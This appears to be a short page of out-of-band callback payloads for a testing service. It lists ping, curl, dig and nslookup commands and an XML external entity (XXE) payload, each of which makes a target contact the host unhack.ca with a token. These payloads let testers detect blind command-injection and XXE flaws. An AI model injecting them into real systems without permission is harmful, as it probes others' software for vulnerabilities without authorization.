$ ping -c1 -p 0079df1b92c44bbcb81ace94a99a1600 unhack.ca
 

$ curl http://unhack.ca/p/79df1b92c44bbcb81ace94a99a16
 

$ dig 79df1b92c44bbcb81ace94a99a16 @unhack.ca
 

$ dig 79df1b92c44bbcb81ace94a99a16.ns.unhack.ca
 

C:\> nslookup 79df1b92c44bbcb81ace94a99a16 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/79df1b92c44bbcb81ace94a99a16">]>
    <foo>&xxe;</foo>